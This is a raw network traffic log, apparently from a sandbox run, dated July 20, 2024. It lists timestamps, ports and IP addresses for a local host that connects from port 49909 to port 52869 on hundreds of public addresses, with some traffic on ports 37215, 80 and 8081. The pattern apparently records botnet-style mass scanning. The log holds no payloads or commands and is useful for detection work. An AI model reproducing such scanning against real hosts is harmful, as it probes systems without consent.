Jul 20, 2024 23:01:05.164491892 CEST	49909	52869	192.168.2.14	189.156.171.203
Jul 20, 2024 23:01:05.164491892 CEST	49909	52869	192.168.2.14	13.161.201.111
Jul 20, 2024 23:01:05.164491892 CEST	49909	52869	192.168.2.14	107.62.187.111
Jul 20, 2024 23:01:05.164491892 CEST	49909	52869	192.168.2.14	212.170.88.73
Jul 20, 2024 23:01:05.164491892 CEST	49909	52869	192.168.2.14	219.119.9.132
Jul 20, 2024 23:01:05.165329933 CEST	37215	50246	197.138.28.9	192.168.2.14
Jul 20, 2024 23:01:05.165586948 CEST	49909	52869	192.168.2.14	208.202.42.106
Jul 20, 2024 23:01:05.165586948 CEST	49909	52869	192.168.2.14	114.16.17.140
Jul 20, 2024 23:01:05.165586948 CEST	49909	52869	192.168.2.14	121.245.239.148
Jul 20, 2024 23:01:05.165586948 CEST	49909	52869	192.168.2.14	86.210.54.8
Jul 20, 2024 23:01:05.165586948 CEST	49909	52869	192.168.2.14	27.103.173.103
Jul 20, 2024 23:01:05.165586948 CEST	49909	52869	192.168.2.14	186.214.9.172
Jul 20, 2024 23:01:05.165586948 CEST	49909	52869	192.168.2.14	53.1.207.242
Jul 20, 2024 23:01:05.165586948 CEST	49909	52869	192.168.2.14	186.161.5.21
Jul 20, 2024 23:01:05.166445017 CEST	80	38702	88.105.31.235	192.168.2.14
Jul 20, 2024 23:01:05.166471958 CEST	80	38702	88.105.31.235	192.168.2.14
Jul 20, 2024 23:01:05.166498899 CEST	80	37892	88.248.106.214	192.168.2.14
Jul 20, 2024 23:01:05.166882038 CEST	49909	52869	192.168.2.14	129.104.58.73
Jul 20, 2024 23:01:05.166882038 CEST	49909	52869	192.168.2.14	95.83.148.231
Jul 20, 2024 23:01:05.166882038 CEST	49909	52869	192.168.2.14	171.168.115.86
Jul 20, 2024 23:01:05.166882038 CEST	49909	52869	192.168.2.14	172.163.166.48
Jul 20, 2024 23:01:05.166882038 CEST	49909	52869	192.168.2.14	157.162.200.98
Jul 20, 2024 23:01:05.166882038 CEST	49909	52869	192.168.2.14	13.66.137.245
Jul 20, 2024 23:01:05.166882038 CEST	49909	52869	192.168.2.14	142.249.95.177
Jul 20, 2024 23:01:05.166882038 CEST	49909	52869	192.168.2.14	183.230.64.46
Jul 20, 2024 23:01:05.167268991 CEST	49909	52869	192.168.2.14	198.46.115.235
Jul 20, 2024 23:01:05.167268991 CEST	49909	52869	192.168.2.14	183.200.69.106
Jul 20, 2024 23:01:05.167268991 CEST	49909	52869	192.168.2.14	93.166.241.91
Jul 20, 2024 23:01:05.167268991 CEST	49909	52869	192.168.2.14	32.218.164.20
Jul 20, 2024 23:01:05.167268991 CEST	49909	52869	192.168.2.14	167.164.212.12
Jul 20, 2024 23:01:05.167268991 CEST	49909	52869	192.168.2.14	154.138.92.119
Jul 20, 2024 23:01:05.167268991 CEST	49909	52869	192.168.2.14	44.220.47.63
Jul 20, 2024 23:01:05.167268991 CEST	49909	52869	192.168.2.14	23.51.177.158
Jul 20, 2024 23:01:05.168936968 CEST	49909	52869	192.168.2.14	179.191.1.94
Jul 20, 2024 23:01:05.168936968 CEST	49909	52869	192.168.2.14	177.37.128.14
Jul 20, 2024 23:01:05.168936968 CEST	49909	52869	192.168.2.14	94.56.139.174
Jul 20, 2024 23:01:05.168937922 CEST	49909	52869	192.168.2.14	82.182.213.54
Jul 20, 2024 23:01:05.168937922 CEST	49909	52869	192.168.2.14	64.1.107.82
Jul 20, 2024 23:01:05.168937922 CEST	49909	52869	192.168.2.14	155.163.78.165
Jul 20, 2024 23:01:05.168937922 CEST	49909	52869	192.168.2.14	113.60.179.253
Jul 20, 2024 23:01:05.168937922 CEST	49909	52869	192.168.2.14	212.161.231.29
Jul 20, 2024 23:01:05.169681072 CEST	49909	52869	192.168.2.14	144.122.239.59
Jul 20, 2024 23:01:05.169681072 CEST	49909	52869	192.168.2.14	139.238.234.35
Jul 20, 2024 23:01:05.169681072 CEST	49909	52869	192.168.2.14	116.136.77.215
Jul 20, 2024 23:01:05.169681072 CEST	49909	52869	192.168.2.14	35.20.252.199
Jul 20, 2024 23:01:05.169681072 CEST	49909	52869	192.168.2.14	105.17.199.80
Jul 20, 2024 23:01:05.169681072 CEST	49909	52869	192.168.2.14	141.61.184.214
Jul 20, 2024 23:01:05.169681072 CEST	49909	52869	192.168.2.14	98.85.187.52
Jul 20, 2024 23:01:05.169681072 CEST	49909	52869	192.168.2.14	92.86.214.31
Jul 20, 2024 23:01:05.170950890 CEST	49909	52869	192.168.2.14	139.183.197.42
Jul 20, 2024 23:01:05.170950890 CEST	49909	52869	192.168.2.14	37.187.42.187
Jul 20, 2024 23:01:05.170950890 CEST	49909	52869	192.168.2.14	160.198.230.158
Jul 20, 2024 23:01:05.170950890 CEST	49909	52869	192.168.2.14	69.19.204.180
Jul 20, 2024 23:01:05.170950890 CEST	49909	52869	192.168.2.14	114.99.9.89
Jul 20, 2024 23:01:05.170950890 CEST	49909	52869	192.168.2.14	38.25.48.248
Jul 20, 2024 23:01:05.170950890 CEST	49909	52869	192.168.2.14	99.236.233.228
Jul 20, 2024 23:01:05.170950890 CEST	49909	52869	192.168.2.14	188.15.62.114
Jul 20, 2024 23:01:05.172658920 CEST	80	39618	88.105.31.235	192.168.2.14
Jul 20, 2024 23:01:05.172714949 CEST	52869	49909	121.186.185.164	192.168.2.14
Jul 20, 2024 23:01:05.172744036 CEST	52869	49909	68.152.218.131	192.168.2.14
Jul 20, 2024 23:01:05.172771931 CEST	52869	49909	222.242.93.36	192.168.2.14
Jul 20, 2024 23:01:05.172799110 CEST	52869	49909	45.42.50.87	192.168.2.14
Jul 20, 2024 23:01:05.172826052 CEST	52869	49909	201.86.215.2	192.168.2.14
Jul 20, 2024 23:01:05.172852993 CEST	52869	49909	210.216.14.240	192.168.2.14
Jul 20, 2024 23:01:05.172880888 CEST	52869	49909	111.196.49.195	192.168.2.14
Jul 20, 2024 23:01:05.172908068 CEST	52869	49909	101.175.170.97	192.168.2.14
Jul 20, 2024 23:01:05.172964096 CEST	52869	49909	95.101.166.25	192.168.2.14
Jul 20, 2024 23:01:05.172992945 CEST	52869	49909	17.104.43.204	192.168.2.14
Jul 20, 2024 23:01:05.172996998 CEST	49909	52869	192.168.2.14	186.83.143.183
Jul 20, 2024 23:01:05.172996998 CEST	49909	52869	192.168.2.14	99.128.62.25
Jul 20, 2024 23:01:05.172996998 CEST	49909	52869	192.168.2.14	32.7.62.146
Jul 20, 2024 23:01:05.172996998 CEST	49909	52869	192.168.2.14	31.215.144.232
Jul 20, 2024 23:01:05.172996998 CEST	49909	52869	192.168.2.14	147.154.192.124
Jul 20, 2024 23:01:05.172996998 CEST	49909	52869	192.168.2.14	24.1.25.55
Jul 20, 2024 23:01:05.172996998 CEST	49909	52869	192.168.2.14	60.70.3.55
Jul 20, 2024 23:01:05.172996998 CEST	49909	52869	192.168.2.14	101.29.13.188
Jul 20, 2024 23:01:05.173023939 CEST	52869	49909	153.226.105.79	192.168.2.14
Jul 20, 2024 23:01:05.173057079 CEST	52869	49909	104.150.124.246	192.168.2.14
Jul 20, 2024 23:01:05.173084021 CEST	52869	49909	164.125.22.226	192.168.2.14
Jul 20, 2024 23:01:05.173111916 CEST	52869	49909	149.39.246.113	192.168.2.14
Jul 20, 2024 23:01:05.173141003 CEST	37215	41900	157.89.201.91	192.168.2.14
Jul 20, 2024 23:01:05.173167944 CEST	52869	49909	54.134.199.95	192.168.2.14
Jul 20, 2024 23:01:05.173194885 CEST	80	51304	88.133.23.36	192.168.2.14
Jul 20, 2024 23:01:05.173618078 CEST	49909	52869	192.168.2.14	188.8.153.74
Jul 20, 2024 23:01:05.173618078 CEST	49909	52869	192.168.2.14	194.40.181.124
Jul 20, 2024 23:01:05.173618078 CEST	49909	52869	192.168.2.14	173.150.51.24
Jul 20, 2024 23:01:05.173618078 CEST	49909	52869	192.168.2.14	111.129.154.195
Jul 20, 2024 23:01:05.173618078 CEST	49909	52869	192.168.2.14	131.110.13.188
Jul 20, 2024 23:01:05.173618078 CEST	49909	52869	192.168.2.14	18.53.198.50
Jul 20, 2024 23:01:05.173618078 CEST	49909	52869	192.168.2.14	113.196.250.71
Jul 20, 2024 23:01:05.173618078 CEST	49909	52869	192.168.2.14	23.211.174.15
Jul 20, 2024 23:01:05.173836946 CEST	56778	80	192.168.2.14	88.217.70.97
Jul 20, 2024 23:01:05.173836946 CEST	49909	52869	192.168.2.14	83.99.28.26
Jul 20, 2024 23:01:05.173836946 CEST	49909	52869	192.168.2.14	170.25.213.249
Jul 20, 2024 23:01:05.173836946 CEST	49909	52869	192.168.2.14	79.189.211.120
Jul 20, 2024 23:01:05.173836946 CEST	49909	52869	192.168.2.14	109.200.150.125
Jul 20, 2024 23:01:05.173836946 CEST	49909	52869	192.168.2.14	17.127.75.160
Jul 20, 2024 23:01:05.173836946 CEST	49909	52869	192.168.2.14	184.177.53.149
Jul 20, 2024 23:01:05.173836946 CEST	49909	52869	192.168.2.14	180.137.187.65
Jul 20, 2024 23:01:05.174088955 CEST	52869	49909	151.83.152.171	192.168.2.14
Jul 20, 2024 23:01:05.174218893 CEST	52869	49909	176.156.248.68	192.168.2.14
Jul 20, 2024 23:01:05.174247980 CEST	52869	49909	170.85.3.51	192.168.2.14
Jul 20, 2024 23:01:05.174274921 CEST	52869	49909	209.26.48.88	192.168.2.14
Jul 20, 2024 23:01:05.174449921 CEST	49909	52869	192.168.2.14	141.235.54.197
Jul 20, 2024 23:01:05.174449921 CEST	49909	52869	192.168.2.14	48.189.185.5
Jul 20, 2024 23:01:05.174449921 CEST	49909	52869	192.168.2.14	189.192.238.248
Jul 20, 2024 23:01:05.174449921 CEST	49909	52869	192.168.2.14	182.194.169.54
Jul 20, 2024 23:01:05.174449921 CEST	49909	52869	192.168.2.14	150.154.95.243
Jul 20, 2024 23:01:05.174449921 CEST	49909	52869	192.168.2.14	106.235.106.45
Jul 20, 2024 23:01:05.174449921 CEST	49909	52869	192.168.2.14	133.136.117.24
Jul 20, 2024 23:01:05.174474001 CEST	52869	49909	194.28.135.210	192.168.2.14
Jul 20, 2024 23:01:05.174503088 CEST	52869	49909	175.84.235.19	192.168.2.14
Jul 20, 2024 23:01:05.174534082 CEST	80	57198	88.155.104.179	192.168.2.14
Jul 20, 2024 23:01:05.174561977 CEST	52869	49909	134.162.31.242	192.168.2.14
Jul 20, 2024 23:01:05.174590111 CEST	52869	49909	150.236.47.184	192.168.2.14
Jul 20, 2024 23:01:05.174618006 CEST	52869	49909	38.0.88.209	192.168.2.14
Jul 20, 2024 23:01:05.174645901 CEST	37215	34592	197.91.36.141	192.168.2.14
Jul 20, 2024 23:01:05.174674988 CEST	52869	49909	107.143.209.249	192.168.2.14
Jul 20, 2024 23:01:05.174702883 CEST	52869	46346	141.25.137.192	192.168.2.14
Jul 20, 2024 23:01:05.174731016 CEST	80	55864	88.217.70.97	192.168.2.14
Jul 20, 2024 23:01:05.175096035 CEST	52869	49909	52.81.17.176	192.168.2.14
Jul 20, 2024 23:01:05.175122976 CEST	80	55864	88.217.70.97	192.168.2.14
Jul 20, 2024 23:01:05.175988913 CEST	49909	52869	192.168.2.14	90.130.170.85
Jul 20, 2024 23:01:05.175988913 CEST	49909	52869	192.168.2.14	217.176.17.32
Jul 20, 2024 23:01:05.175988913 CEST	49909	52869	192.168.2.14	140.33.61.63
Jul 20, 2024 23:01:05.175988913 CEST	49909	52869	192.168.2.14	8.25.158.124
Jul 20, 2024 23:01:05.175988913 CEST	49909	52869	192.168.2.14	92.173.106.240
Jul 20, 2024 23:01:05.175988913 CEST	49909	52869	192.168.2.14	220.250.43.126
Jul 20, 2024 23:01:05.175988913 CEST	49909	52869	192.168.2.14	43.235.72.144
Jul 20, 2024 23:01:05.175988913 CEST	49909	52869	192.168.2.14	190.245.118.15
Jul 20, 2024 23:01:05.176398039 CEST	52869	49909	99.141.194.61	192.168.2.14
Jul 20, 2024 23:01:05.176426888 CEST	52869	49909	97.35.117.1	192.168.2.14
Jul 20, 2024 23:01:05.176537991 CEST	52869	49909	198.36.202.185	192.168.2.14
Jul 20, 2024 23:01:05.176709890 CEST	52869	49909	74.36.223.196	192.168.2.14
Jul 20, 2024 23:01:05.176739931 CEST	52869	49909	120.172.18.74	192.168.2.14
Jul 20, 2024 23:01:05.176795006 CEST	52869	49909	54.56.111.12	192.168.2.14
Jul 20, 2024 23:01:05.176819086 CEST	49909	52869	192.168.2.14	191.100.158.34
Jul 20, 2024 23:01:05.176819086 CEST	49909	52869	192.168.2.14	54.131.96.84
Jul 20, 2024 23:01:05.176819086 CEST	49909	52869	192.168.2.14	17.199.127.167
Jul 20, 2024 23:01:05.176819086 CEST	49909	52869	192.168.2.14	34.54.151.38
Jul 20, 2024 23:01:05.176819086 CEST	49909	52869	192.168.2.14	195.17.211.43
Jul 20, 2024 23:01:05.176819086 CEST	49909	52869	192.168.2.14	102.200.150.83
Jul 20, 2024 23:01:05.176819086 CEST	49909	52869	192.168.2.14	202.48.116.134
Jul 20, 2024 23:01:05.176819086 CEST	49909	52869	192.168.2.14	74.211.33.136
Jul 20, 2024 23:01:05.176824093 CEST	52869	49909	76.127.152.234	192.168.2.14
Jul 20, 2024 23:01:05.176878929 CEST	52869	49909	196.220.181.241	192.168.2.14
Jul 20, 2024 23:01:05.176937103 CEST	52869	49909	75.80.140.31	192.168.2.14
Jul 20, 2024 23:01:05.176995039 CEST	52869	49909	159.93.50.47	192.168.2.14
Jul 20, 2024 23:01:05.177022934 CEST	52869	49909	212.96.217.71	192.168.2.14
Jul 20, 2024 23:01:05.177051067 CEST	52869	49909	8.189.21.172	192.168.2.14
Jul 20, 2024 23:01:05.177129030 CEST	52869	49909	92.130.153.45	192.168.2.14
Jul 20, 2024 23:01:05.177160978 CEST	52869	49909	148.172.88.84	192.168.2.14
Jul 20, 2024 23:01:05.177189112 CEST	52869	49909	141.76.104.108	192.168.2.14
Jul 20, 2024 23:01:05.177217960 CEST	52869	49909	142.1.131.54	192.168.2.14
Jul 20, 2024 23:01:05.177246094 CEST	52869	49909	34.220.144.49	192.168.2.14
Jul 20, 2024 23:01:05.178016901 CEST	52869	49909	117.32.12.180	192.168.2.14
Jul 20, 2024 23:01:05.178046942 CEST	52869	49909	18.193.212.35	192.168.2.14
Jul 20, 2024 23:01:05.178075075 CEST	52869	49909	88.32.200.137	192.168.2.14
Jul 20, 2024 23:01:05.178102970 CEST	52869	49909	74.156.104.185	192.168.2.14
Jul 20, 2024 23:01:05.178132057 CEST	52869	49909	102.208.143.105	192.168.2.14
Jul 20, 2024 23:01:05.178159952 CEST	52869	49909	137.107.74.73	192.168.2.14
Jul 20, 2024 23:01:05.178188086 CEST	37215	41780	157.232.183.8	192.168.2.14
Jul 20, 2024 23:01:05.178215981 CEST	52869	49909	189.80.222.3	192.168.2.14
Jul 20, 2024 23:01:05.178244114 CEST	52869	49909	126.3.10.117	192.168.2.14
Jul 20, 2024 23:01:05.178272009 CEST	52869	49909	54.152.9.207	192.168.2.14
Jul 20, 2024 23:01:05.178332090 CEST	52869	49909	204.104.66.147	192.168.2.14
Jul 20, 2024 23:01:05.178359985 CEST	52869	36550	73.117.253.69	192.168.2.14
Jul 20, 2024 23:01:05.178388119 CEST	52869	49909	174.246.235.173	192.168.2.14
Jul 20, 2024 23:01:05.178416014 CEST	52869	49909	2.28.150.184	192.168.2.14
Jul 20, 2024 23:01:05.178471088 CEST	52869	49909	156.165.173.53	192.168.2.14
Jul 20, 2024 23:01:05.178498030 CEST	8081	38232	187.16.144.121	192.168.2.14
Jul 20, 2024 23:01:05.178524971 CEST	52869	49909	65.224.60.0	192.168.2.14
Jul 20, 2024 23:01:05.178551912 CEST	52869	49909	5.18.26.251	192.168.2.14
Jul 20, 2024 23:01:05.178580046 CEST	52869	49909	143.20.96.195	192.168.2.14
Jul 20, 2024 23:01:05.178617954 CEST	52869	49909	190.30.191.40	192.168.2.14
Jul 20, 2024 23:01:05.178649902 CEST	52869	49909	93.203.238.143	192.168.2.14
Jul 20, 2024 23:01:05.178678036 CEST	52869	49909	137.227.134.172	192.168.2.14
Jul 20, 2024 23:01:05.178704977 CEST	52869	49909	140.207.89.61	192.168.2.14
Jul 20, 2024 23:01:05.178733110 CEST	52869	49909	92.26.65.4	192.168.2.14
Jul 20, 2024 23:01:05.178760052 CEST	52869	49909	75.65.150.175	192.168.2.14
Jul 20, 2024 23:01:05.178787947 CEST	52869	49909	123.115.170.166	192.168.2.14
Jul 20, 2024 23:01:05.178814888 CEST	52869	49909	66.210.181.64	192.168.2.14
Jul 20, 2024 23:01:05.178842068 CEST	52869	49909	126.220.188.31	192.168.2.14
Jul 20, 2024 23:01:05.178869009 CEST	52869	49909	81.144.134.42	192.168.2.14
Jul 20, 2024 23:01:05.178895950 CEST	52869	49909	191.94.63.147	192.168.2.14
Jul 20, 2024 23:01:05.178922892 CEST	52869	49909	87.152.58.47	192.168.2.14
Jul 20, 2024 23:01:05.178950071 CEST	52869	49909	209.242.179.8	192.168.2.14
Jul 20, 2024 23:01:05.178977966 CEST	52869	49909	196.179.167.169	192.168.2.14
Jul 20, 2024 23:01:05.179004908 CEST	52869	49909	118.136.112.166	192.168.2.14
Jul 20, 2024 23:01:05.179033041 CEST	52869	49909	131.218.169.242	192.168.2.14
Jul 20, 2024 23:01:05.179059982 CEST	52869	49909	35.124.75.46	192.168.2.14
Jul 20, 2024 23:01:05.179086924 CEST	52869	49909	91.7.78.31	192.168.2.14
Jul 20, 2024 23:01:05.179114103 CEST	52869	49909	72.168.186.135	192.168.2.14
Jul 20, 2024 23:01:05.179141045 CEST	52869	49909	106.202.176.87	192.168.2.14
Jul 20, 2024 23:01:05.179167986 CEST	52869	49909	93.189.109.212	192.168.2.14
Jul 20, 2024 23:01:05.179194927 CEST	52869	49909	184.17.245.90	192.168.2.14
Jul 20, 2024 23:01:05.179224014 CEST	52869	49909	203.63.85.231	192.168.2.14
Jul 20, 2024 23:01:05.179260015 CEST	52869	49909	193.154.34.23	192.168.2.14
Jul 20, 2024 23:01:05.179291964 CEST	52869	49909	23.78.7.26	192.168.2.14
Jul 20, 2024 23:01:05.179320097 CEST	52869	49909	86.140.207.194	192.168.2.14
Jul 20, 2024 23:01:05.179347992 CEST	52869	49909	101.148.187.65	192.168.2.14
Jul 20, 2024 23:01:05.179374933 CEST	52869	49909	93.19.63.134	192.168.2.14
Jul 20, 2024 23:01:05.179402113 CEST	52869	49909	63.136.55.109	192.168.2.14
Jul 20, 2024 23:01:05.179430008 CEST	52869	49909	105.138.238.17	192.168.2.14
Jul 20, 2024 23:01:05.179457903 CEST	52869	49909	84.6.23.49	192.168.2.14
Jul 20, 2024 23:01:05.179485083 CEST	52869	49909	71.8.205.69	192.168.2.14
Jul 20, 2024 23:01:05.179512024 CEST	52869	49909	9.248.234.30	192.168.2.14
Jul 20, 2024 23:01:05.179541111 CEST	52869	49909	139.165.69.159	192.168.2.14
Jul 20, 2024 23:01:05.179568052 CEST	52869	49909	128.41.155.211	192.168.2.14
Jul 20, 2024 23:01:05.179601908 CEST	52869	49909	63.124.169.164	192.168.2.14
Jul 20, 2024 23:01:05.179630041 CEST	52869	49909	5.194.209.170	192.168.2.14
Jul 20, 2024 23:01:05.179657936 CEST	52869	49909	125.249.81.248	192.168.2.14
Jul 20, 2024 23:01:05.179685116 CEST	52869	49909	213.20.111.13	192.168.2.14
Jul 20, 2024 23:01:05.179712057 CEST	52869	49909	137.248.186.235	192.168.2.14
Jul 20, 2024 23:01:05.179738998 CEST	52869	49909	189.219.67.157	192.168.2.14
Jul 20, 2024 23:01:05.179765940 CEST	52869	49909	83.204.112.142	192.168.2.14
Jul 20, 2024 23:01:05.179791927 CEST	52869	49909	85.36.171.153	192.168.2.14
Jul 20, 2024 23:01:05.179820061 CEST	52869	49909	107.24.195.173	192.168.2.14
Jul 20, 2024 23:01:05.179846048 CEST	52869	49909	163.13.117.218	192.168.2.14
Jul 20, 2024 23:01:05.179872990 CEST	52869	49909	17.175.93.213	192.168.2.14
Jul 20, 2024 23:01:05.179903030 CEST	52869	49909	91.135.107.72	192.168.2.14
Jul 20, 2024 23:01:05.179934978 CEST	52869	49909	192.82.118.48	192.168.2.14
Jul 20, 2024 23:01:05.179963112 CEST	52869	49909	222.193.249.127	192.168.2.14
Jul 20, 2024 23:01:05.179989100 CEST	52869	49909	180.76.221.54	192.168.2.14
Jul 20, 2024 23:01:05.180016994 CEST	52869	49909	163.215.112.219	192.168.2.14
Jul 20, 2024 23:01:05.180043936 CEST	52869	49909	125.50.30.108	192.168.2.14
Jul 20, 2024 23:01:05.180072069 CEST	52869	49909	145.155.209.50	192.168.2.14
Jul 20, 2024 23:01:05.180099964 CEST	52869	49909	137.144.101.139	192.168.2.14
Jul 20, 2024 23:01:05.180125952 CEST	52869	49909	116.47.255.58	192.168.2.14
Jul 20, 2024 23:01:05.180154085 CEST	52869	49909	124.119.110.201	192.168.2.14
Jul 20, 2024 23:01:05.180181980 CEST	52869	49909	54.50.184.64	192.168.2.14
Jul 20, 2024 23:01:05.180210114 CEST	52869	49909	174.69.17.138	192.168.2.14
Jul 20, 2024 23:01:05.180238008 CEST	52869	49909	165.44.179.73	192.168.2.14
Jul 20, 2024 23:01:05.180294037 CEST	52869	49909	199.47.176.74	192.168.2.14
Jul 20, 2024 23:01:05.180322886 CEST	52869	49909	5.165.26.70	192.168.2.14
Jul 20, 2024 23:01:05.180350065 CEST	52869	49909	13.2.67.215	192.168.2.14
Jul 20, 2024 23:01:05.180361032 CEST	49909	52869	192.168.2.14	51.107.159.10
Jul 20, 2024 23:01:05.180361032 CEST	49909	52869	192.168.2.14	217.203.74.212
Jul 20, 2024 23:01:05.180361032 CEST	49909	52869	192.168.2.14	20.29.28.88
Jul 20, 2024 23:01:05.180361032 CEST	49909	52869	192.168.2.14	126.197.204.144
Jul 20, 2024 23:01:05.180361032 CEST	49909	52869	192.168.2.14	17.53.104.31
Jul 20, 2024 23:01:05.180361032 CEST	49909	52869	192.168.2.14	68.26.110.69
Jul 20, 2024 23:01:05.180361032 CEST	49909	52869	192.168.2.14	31.224.15.77
Jul 20, 2024 23:01:05.180361032 CEST	49909	52869	192.168.2.14	36.182.8.231
Jul 20, 2024 23:01:05.180377960 CEST	52869	49909	9.215.184.103	192.168.2.14
Jul 20, 2024 23:01:05.180406094 CEST	52869	49909	201.85.216.179	192.168.2.14
Jul 20, 2024 23:01:05.180433035 CEST	52869	49909	85.133.84.127	192.168.2.14
Jul 20, 2024 23:01:05.180459976 CEST	52869	49909	192.77.254.47	192.168.2.14
Jul 20, 2024 23:01:05.180502892 CEST	52869	49909	14.191.58.78	192.168.2.14
Jul 20, 2024 23:01:05.180531025 CEST	52869	49909	68.173.91.82	192.168.2.14
Jul 20, 2024 23:01:05.180566072 CEST	52869	49909	107.224.8.125	192.168.2.14
Jul 20, 2024 23:01:05.180600882 CEST	52869	49909	99.110.208.119	192.168.2.14
Jul 20, 2024 23:01:05.180628061 CEST	52869	49909	102.225.181.84	192.168.2.14
Jul 20, 2024 23:01:05.180655003 CEST	52869	49909	187.248.23.226	192.168.2.14
Jul 20, 2024 23:01:05.180682898 CEST	52869	49909	106.196.183.139	192.168.2.14
Jul 20, 2024 23:01:05.180711985 CEST	52869	49909	70.113.86.124	192.168.2.14
Jul 20, 2024 23:01:05.180740118 CEST	52869	49909	51.48.72.164	192.168.2.14
Jul 20, 2024 23:01:05.180767059 CEST	52869	49909	77.32.128.37	192.168.2.14
Jul 20, 2024 23:01:05.180795908 CEST	52869	49909	129.39.62.254	192.168.2.14
Jul 20, 2024 23:01:05.180824041 CEST	52869	49909	38.247.108.61	192.168.2.14
Jul 20, 2024 23:01:05.180850029 CEST	52869	49909	190.195.78.184	192.168.2.14
Jul 20, 2024 23:01:05.180877924 CEST	52869	49909	187.118.22.161	192.168.2.14
Jul 20, 2024 23:01:05.180905104 CEST	52869	49909	81.113.141.221	192.168.2.14
Jul 20, 2024 23:01:05.180932045 CEST	52869	49909	163.21.17.25	192.168.2.14
Jul 20, 2024 23:01:05.180959940 CEST	52869	49909	163.77.173.189	192.168.2.14
Jul 20, 2024 23:01:05.180986881 CEST	52869	49909	148.226.164.83	192.168.2.14
Jul 20, 2024 23:01:05.181014061 CEST	52869	49909	39.210.25.195	192.168.2.14
Jul 20, 2024 23:01:05.181041002 CEST	52869	49909	9.82.192.191	192.168.2.14
Jul 20, 2024 23:01:05.181067944 CEST	52869	49909	120.112.3.216	192.168.2.14
Jul 20, 2024 23:01:05.181097031 CEST	52869	49909	220.164.110.239	192.168.2.14
Jul 20, 2024 23:01:05.181124926 CEST	52869	49909	175.106.151.25	192.168.2.14
Jul 20, 2024 23:01:05.181152105 CEST	52869	49909	14.89.209.38	192.168.2.14
Jul 20, 2024 23:01:05.181178093 CEST	52869	49909	146.232.115.219	192.168.2.14
Jul 20, 2024 23:01:05.181214094 CEST	52869	49909	19.99.153.66	192.168.2.14
Jul 20, 2024 23:01:05.181226969 CEST	49909	52869	192.168.2.14	211.94.53.51
Jul 20, 2024 23:01:05.181226969 CEST	49909	52869	192.168.2.14	220.254.255.149
Jul 20, 2024 23:01:05.181226969 CEST	49909	52869	192.168.2.14	180.167.117.211
Jul 20, 2024 23:01:05.181226969 CEST	49909	52869	192.168.2.14	31.141.176.161
Jul 20, 2024 23:01:05.181226969 CEST	49909	52869	192.168.2.14	167.104.68.83
Jul 20, 2024 23:01:05.181226969 CEST	49909	52869	192.168.2.14	65.62.163.155
Jul 20, 2024 23:01:05.181226969 CEST	49909	52869	192.168.2.14	86.50.252.3
Jul 20, 2024 23:01:05.181247950 CEST	52869	49909	198.198.118.53	192.168.2.14
Jul 20, 2024 23:01:05.181277037 CEST	52869	49909	184.103.185.235	192.168.2.14
Jul 20, 2024 23:01:05.181305885 CEST	52869	49909	57.209.144.62	192.168.2.14
Jul 20, 2024 23:01:05.181334019 CEST	52869	49909	49.117.15.17	192.168.2.14
Jul 20, 2024 23:01:05.181360960 CEST	52869	49909	155.191.209.175	192.168.2.14
Jul 20, 2024 23:01:05.181389093 CEST	52869	49909	41.13.90.104	192.168.2.14
Jul 20, 2024 23:01:05.181415081 CEST	49909	52869	192.168.2.14	102.44.243.156
Jul 20, 2024 23:01:05.181416035 CEST	52869	49909	124.108.216.191	192.168.2.14
Jul 20, 2024 23:01:05.181415081 CEST	49909	52869	192.168.2.14	60.41.89.134
Jul 20, 2024 23:01:05.181415081 CEST	49909	52869	192.168.2.14	116.57.101.150
Jul 20, 2024 23:01:05.181415081 CEST	49909	52869	192.168.2.14	87.96.32.169
Jul 20, 2024 23:01:05.181415081 CEST	49909	52869	192.168.2.14	126.147.96.210
Jul 20, 2024 23:01:05.181415081 CEST	49909	52869	192.168.2.14	206.51.158.23
Jul 20, 2024 23:01:05.181415081 CEST	49909	52869	192.168.2.14	82.68.74.176
Jul 20, 2024 23:01:05.181443930 CEST	52869	49909	45.173.118.222	192.168.2.14
Jul 20, 2024 23:01:05.181472063 CEST	52869	49909	138.16.190.170	192.168.2.14
Jul 20, 2024 23:01:05.181498051 CEST	52869	49909	69.119.204.57	192.168.2.14
Jul 20, 2024 23:01:05.181525946 CEST	52869	49909	139.4.226.119	192.168.2.14
Jul 20, 2024 23:01:05.181554079 CEST	52869	49909	53.83.139.63	192.168.2.14
Jul 20, 2024 23:01:05.181581020 CEST	52869	49909	90.235.136.206	192.168.2.14
Jul 20, 2024 23:01:05.181608915 CEST	52869	49909	70.16.125.168	192.168.2.14
Jul 20, 2024 23:01:05.181634903 CEST	52869	49909	223.237.118.129	192.168.2.14
Jul 20, 2024 23:01:05.181651115 CEST	49909	52869	192.168.2.14	172.95.92.119
Jul 20, 2024 23:01:05.181651115 CEST	49909	52869	192.168.2.14	37.0.70.219
Jul 20, 2024 23:01:05.181651115 CEST	49909	52869	192.168.2.14	8.112.72.58
Jul 20, 2024 23:01:05.181651115 CEST	49909	52869	192.168.2.14	190.93.202.150
Jul 20, 2024 23:01:05.181651115 CEST	49909	52869	192.168.2.14	71.108.66.198
Jul 20, 2024 23:01:05.181651115 CEST	49909	52869	192.168.2.14	170.159.65.191
Jul 20, 2024 23:01:05.181651115 CEST	49909	52869	192.168.2.14	154.125.143.97
Jul 20, 2024 23:01:05.181651115 CEST	49909	52869	192.168.2.14	89.63.235.199
Jul 20, 2024 23:01:05.181663036 CEST	52869	49909	136.158.68.150	192.168.2.14
Jul 20, 2024 23:01:05.181689978 CEST	52869	49909	149.150.32.230	192.168.2.14
Jul 20, 2024 23:01:05.181718111 CEST	52869	49909	119.7.110.116	192.168.2.14
Jul 20, 2024 23:01:05.181746006 CEST	52869	49909	14.158.123.84	192.168.2.14
Jul 20, 2024 23:01:05.181772947 CEST	52869	49909	193.224.130.179	192.168.2.14
Jul 20, 2024 23:01:05.181801081 CEST	52869	49909	68.6.179.57	192.168.2.14
Jul 20, 2024 23:01:05.181828022 CEST	52869	49909	49.201.102.76	192.168.2.14
Jul 20, 2024 23:01:05.181857109 CEST	52869	49909	24.166.235.141	192.168.2.14
Jul 20, 2024 23:01:05.181885004 CEST	49909	52869	192.168.2.14	198.86.214.44
Jul 20, 2024 23:01:05.181885004 CEST	49909	52869	192.168.2.14	119.130.41.69
Jul 20, 2024 23:01:05.181885004 CEST	49909	52869	192.168.2.14	27.244.252.93
Jul 20, 2024 23:01:05.181885004 CEST	49909	52869	192.168.2.14	184.159.135.176
Jul 20, 2024 23:01:05.181885004 CEST	49909	52869	192.168.2.14	9.82.131.248
Jul 20, 2024 23:01:05.181885004 CEST	49909	52869	192.168.2.14	60.255.146.10
Jul 20, 2024 23:01:05.181885004 CEST	49909	52869	192.168.2.14	221.54.61.91
